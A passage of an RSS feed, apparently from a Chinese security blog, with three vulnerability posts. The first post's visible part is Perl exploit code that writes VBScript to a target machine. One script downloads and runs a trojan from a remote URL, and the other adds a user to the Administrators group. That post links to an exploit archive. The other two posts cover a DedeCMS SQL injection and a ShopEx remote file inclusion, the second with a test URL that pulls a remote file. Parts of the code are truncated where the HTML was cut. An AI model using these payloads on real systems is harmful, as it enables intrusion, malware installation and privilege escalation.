($#ARGV&nbsp;&nbsp;c:\\getcreds.vbs&#34;;<br/>$getcred[1] = &#34;echo Const adTypeBinary = 1 &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[2] = &#34;echo Const adSaveCr&#101;ateOverWrite = 2 &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[3] = &#34;echo Dim BinaryStream &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[4] = &#34;echo Set BinaryStream = Cr&#101;ateObject(\&#34;ADODB.Stream\&#34;) &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[5] = &#34;echo BinaryStream.Type = adTypeBinary &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[6] = &#34;echo BinaryStream.Open &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[7] = &#34;echo BinaryStream.Write ByteArray &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[8] = &#34;echo BinaryStream.SaveToFile FileName, adSaveCr&#101;ateOverWrite &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[9] = &#34;echo End Function &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[10] = &#34;echo Sub HTTPDownload( myURL, myPath ) &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[11] = &#34;echo Set objHTTP = Cr&#101;ateObject( \&#34;WinHttp.WinHttpRequest.5.1\&#34; ) &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[12] = &#34;echo objHTTP.Open \&#34;GET\&#34;, myURL, False &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[13] = &#34;echo objHTTP.Send &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[14] = &#34;echo SaveBinaryData myPath, objHTTP.ResponseBody &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[15] = &#34;echo End Sub &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[16] = &#34;echo HTTPDownload \&#34;$trojanurl\&#34;, \&#34;c:\\installer.exe\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[17] = &#34;echo Set shell = Cr&#101;ateObject(\&#34;WScript.Shell\&#34;) &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[18] = &#34;echo Set objEnv = shell.Environment(\&#34;Process\&#34;)&nbsp;&nbsp; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[19] = &#34;echo Set objEnv2 = shell.Environment(\&#34;User\&#34;)&nbsp;&nbsp; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[20] = &#34;echo Set objEnv3 = shell.Environment(\&#34;System\&#34;)&nbsp;&nbsp; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[21] = &#34;echo sysRoot = objEnv(\&#34;systemroot\&#34;) &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[22] = &#34;echo userProfile = objEnv(\&#34;userprofile\&#34;) &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[23] = &#34;echo objEnv2(\&#34;Path\&#34;) = sysRoot ^&amp; \&#34;;\&#34; ^&amp; sysRoot ^&amp;\&#34;\\system32;\&#34; ^&amp; sysRoot ^&amp; \&#34;\\temp;\&#34; ^&amp; sysRoot ^&amp; \&#34;\\wbem\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[24] = &#34;echo objEnv3(\&#34;Path\&#34;) = sysRoot ^&amp; \&#34;;\&#34; ^&amp; sysRoot ^&amp;\&#34;\\system32;\&#34; ^&amp; sysRoot ^&amp; \&#34;\\temp;\&#34; ^&amp; sysRoot ^&amp; \&#34;\\wbem\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[25] = &#34;echo objEnv2(\&#34;TEMP\&#34;) = sysRoot ^&amp; \&#34;\\temp\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[26] = &#34;echo objEnv2(\&#34;TMP\&#34;) =&nbsp;&nbsp; sysRoot ^&amp; \&#34;\\temp\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[27] = &#34;echo objEnv3(\&#34;TEMP\&#34;) = sysRoot ^&amp; \&#34;\\temp\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[28] = &#34;echo objEnv3(\&#34;TMP\&#34;) =&nbsp;&nbsp; sysRoot ^&amp; \&#34;\\temp\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[29] = &#34;echo shell.CurrentDirectory = \&#34;c:\\\&#34; &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[30] = &#34;echo shell.Run Chr(34) ^&amp; \&#34;c:\\installer.exe\&#34; ^&amp; Chr(34), 1, false &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$getcred[31] = &#34;echo Set shell = Nothing &gt;&gt; c:\\getcreds.vbs&#34;;<br/>$commandx = $getcred[0];<br/>for ($k=1;$k c:\\getcred.vbs&#34;;<br/>$getcreds[1] = &#34;echo strSID = \&#34;S-1-5-32-544\&#34; &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[2] = &#34;echo Set objWMIService = GetObject(\&#34;winmgmts:\\\\\&#34; ^&amp; strComputer ^&amp; \&#34;\\root\\cimv2\&#34;) &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[3] = &#34;echo Set objSID = objWMIService.Get(\&#34;Win32_SID=&#39;\&#34; ^&amp; strSID ^&amp; \&#34;&#39;\&#34;) &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[4] = &#34;echo groupname=objSID.AccountName &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[5] = &#34;echo Set objNetwork = WScript.Cr&#101;ateObject(\&#34;WScript.Network\&#34;) &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[6] = &#34;echo Set objGroup = GetObject(\&#34;WinNT://\&#34; ^&amp; objNetwork.ComputerName ^&amp; \&#34;/\&#34;^&amp;groupname^&amp;\&#34;,group\&#34;) &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[7] = &#34;echo Admin_Name = WScript.Arguments(0) &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[8] = &#34;echo Path = \&#34;WinNT://\&#34; ^&amp; objNetwork.ComputerName ^&amp; \&#34;/\&#34; ^&amp; Admin_Name &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[9] = &#34;echo If Not objGroup.IsMember(Path) Then&nbsp;&nbsp; &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[10] = &#34;echo objGroup.Add(Path) &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[11] = &#34;echo End If &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[12] = &#34;echo Set objGroup = Nothing &gt;&gt; c:\\getcred.vbs&#34;;<br/>$getcreds[13] = &#34;echo set objNetwork = Nothing&nbsp;&nbsp; &gt;&gt; c:\\getcred.vbs&#34;;<br/>$username = $ARGV[2];<br/>$password = $ARGV[3];<br/>$commandxx = $getcreds[0];<br/>for ($k=1;$k<br/><span style="color:#ff0000">EXP：</span><br/>下载<br/>[url=http://www.51chi.net/qing/smtkExp.rar]http://www.51chi.net/qing/<u><br/><span style="color:#0000ff">smtkExp.rar</span><br/></u>[/url]<br/><img src="http://hiphotos.baidu.com/5427518/pic/item/f1d24616df18722c962b4342.jpg" border="0" alt=""/><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=382</link>
			<title><![CDATA[dedecmsV2.1完美版SQL注入Oday]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Sat,06 Mar 2010 21:09:43 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=382</guid>
		<description><![CDATA[以现在的DEDECMS不可能出现的一个漏洞，重STOP群传出的..之后去拿shell到修复漏洞..$conn变量没有过滤！<br/><br/>漏洞文件:php/viewart.php<br/>&lt;?<br/>require_once(&#34;config.php&#34;);<br/>require_once(&#34;../manage/inc_makeart.php&#34;);<br/>if(isset($artID)) $ID=$artID;<br/>if(!isset($ID))<br/>{<br/>echo &#34;指定的文章不存在！&#34;;<br/>exit;<br/>}<br/>//检测会员权限<br/><br/><br/>$conn = connectMySql();<br/>$rs = mysql_query(&#34;sel&#101;ct dede_art.title,dede_art.msg,dede_art.rank,dede_membertype.membername from dede_art left join dede_membertype on dede_art.rank=dede_membertype.rank wh&#101;re dede_art.ID=$ID&#34;,$conn);<br/>$row = mysql_fetch_array($rs);<br/>$sta = CheckUser($row[&#34;rank&#34;]);<br/>//如果用户没权限<br/>if($sta==0)<br/>{<br/>$body = &#34;&#34;;<br/>$body .= &#34;你要查看的文章是:&#34;.$row[&#34;title&#34;];<br/>$body .= &#34;&lt;br&gt;文章简介：&#34;.$row[&#34;msg&#34;].&#34;&lt;br&gt;&lt;br&gt;这篇文章是 &lt;font color=&#39;red&#39;&gt;&#34;.$row[&#34;membername&#34;];<br/>$body .= &#34;&lt;/font&gt; 文章，你的权限不足，无法查看！&lt;br&gt;&#34;;<br/>$body .= &#34;如果你已经升级为这个级别的会员，&#34;;<br/>$body .= &#34;请点击此重新&lt;a href=&#39;/member/login.php&#39;&gt;&lt;u&gt;登录&lt;/u&gt;&lt;/a&gt;&#34;;<br/>$body .= &#34;&lt;br&gt;&lt;br&gt;&lt;a href=&#39;javascript:history.go(-1);&#39;&gt;&lt;u&gt;点击此返回上一页&lt;/u&gt;&lt;/a&gt;&#34;;<br/>echo $body;<br/>exit();<br/>}<br/>//////////////正常情况返回的内容///////////<br/>if(!isset($page)) $page=0;<br/>$mr = new makeArt();<br/>echo $mr-&gt;makeArtView($ID,$page);<br/>?&gt;<br/><br/>第一种修复:$conn = str_replace(&#34;sel&#101;ct&#34;, &#34;/_&#34;, $conn); <br/><br/>第二种修复:if (!get_magic_quotes_gpc()) {<br/><br/>$conn = addslashes($conn); <br/><br/>}]]></description>
		</item>
		
			<item>
			<link>http://www.0354hk.com/article.asp?id=381</link>
			<title><![CDATA[ShopEx4.7及以下版本远程包含漏洞]]></title>
			<author>chenliangsx@gmail.com(admin)</author>
			<category><![CDATA[漏洞相关]]></category>
			<pubDate>Sat,06 Mar 2010 21:09:09 +0800</pubDate>
			<guid>http://www.0354hk.com/default.asp?id=381</guid>
		<description><![CDATA[ShopEx4.7及以下版本远程包含漏洞<br/>漏洞描述:<br/>verifycode.php <br/><br/>&lt;?php&nbsp;&nbsp;<br/>/**&nbsp;&nbsp;<br/>*&nbsp;&nbsp; <br/>* 登陆验证码生成文件&nbsp;&nbsp;<br/>* <br/>* @package ShopEx网上商店系统&nbsp;&nbsp;<br/>* @version 4.6&nbsp;&nbsp;<br/>* @author ShopEx.cn &lt;&gt;&nbsp;&nbsp;<br/>* @url&nbsp;&nbsp; <br/>* @since PHP 4.3&nbsp;&nbsp;<br/>* @copyright ShopEx.cn&nbsp;&nbsp;<br/>*&nbsp;&nbsp;<br/>**/ if (!defined(&#34;ISSHOP&#34;))<br/>&nbsp;&nbsp;{&nbsp;&nbsp;Header(&#34;Location:../index.php&#34;);<br/>&nbsp;&nbsp;exit;<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/* 调用 session 文件 */ include_once($INC_SYSHOMEDIR.&#34;include/session.inc.php&#34;);&nbsp;&nbsp;&nbsp;&nbsp;mt_srand((double)microtime() * 1000000);<br/>&nbsp;&nbsp;/* 生成验证码 */<br/> $strValidate = mt_rand(1000, 9999);<br/>&nbsp;&nbsp;session_unregister(&#34;RANDOM_CODE&#34;);<br/>&nbsp;&nbsp;session_register(&#34;RANDOM_CODE&#34;);<br/>&nbsp;&nbsp;$_SESSION[&#34;RANDOM_CODE&#34;] = $strValidate.&#34;&#34;;<br/>&nbsp;&nbsp;$verifyImg = newclass(&#34;verifyCode&#34;, $strValidate);<br/>&nbsp;&nbsp;&nbsp;&nbsp;/* 输出验证码图片 */<br/> $verifyImg-&gt;Output();<br/>&nbsp;&nbsp;?&gt; <br/>测试方法:<br/><a href="http://www.sitedir.com.cn/shop/verifycode.php?INC_SYSHOMEDIR=http://www.coffly.com/xx.txt?" target="_blank" rel="external">http://www.sitedir.com.cn/shop/verifycode.php?INC_SYSHOMEDIR=http://www.coffly.com/xx.txt?</a><br/>防治建议:<br/>暂无<br/>请参考官方补丁<br/>ShopEx.cn <br/><br/>文章转载自『非安全中国网』地址: <a href="http://www.sitedir.com.cn/exploit-1153.html" target="_blank" rel="external">http://www.sitedir.com.cn/exploit-1153.html</a>]]></description>
		</item>
		
</channel>
</rss>
